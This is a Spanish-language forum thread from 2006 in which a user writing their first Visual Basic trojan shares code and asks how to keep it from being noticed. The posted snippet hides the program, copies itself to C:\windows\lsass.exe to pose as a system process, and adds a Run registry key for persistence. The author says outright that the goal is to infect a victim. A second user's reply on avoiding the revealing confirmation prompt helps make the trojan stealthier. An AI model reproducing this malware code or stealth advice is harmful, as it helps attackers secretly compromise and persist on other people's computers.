Problema: el registro me pide confirmación =(

Iniciado por ~~, 29 Junio 2006, 01:03 AM

0 Miembros y 1 Visitante están viendo este tema.

~~

Hola a tod@s:

Weno de una vez por todas me he decidido a programar mi primer troyano en VB  ;D. Ya lo tengo
practicamente acabado, pero se me ha presentado un problemilla al modificar el registro.
Este es un trozo del codigo, el q lo añade al registro:

Private Sub Timer2_Timer()
On Error Resume Next
App.TaskVisible = False ' Lo hace invisible
Shell txt.Text 'Añade al registro
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\windows\lsass.exe" ' Lo copia
Timer2.Enabled = False
End Sub


txt es el nombre que le he dado a un cuadro de texto q contiene lo siguiente:

REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v WinTray /t REG_SZ /d "C:\windows\lsass.exe"

Hasta aqui todo me funciona perfectamente, el problema se me plantea cuando reinicio mi Pc, pues
me sale una ventana de MS-DOS diciendome q la clave WinTray ya existe y que si quiero sustituirla,
lo cual llama un poco la atención de cara a infectar una posible víctima.

A alguien se le ocurre alguna idea para arreglar esto?????

Desde ya muxas gracias y 1 saludo

NYlOn

Antes de escribir checkea si el valor ya existe...

~~

Ok

Muxas gracias por la idea NYlOn. Ahora ya he buscado como comprovar la clave y me funciona perfectamente.

1 saludo  ;D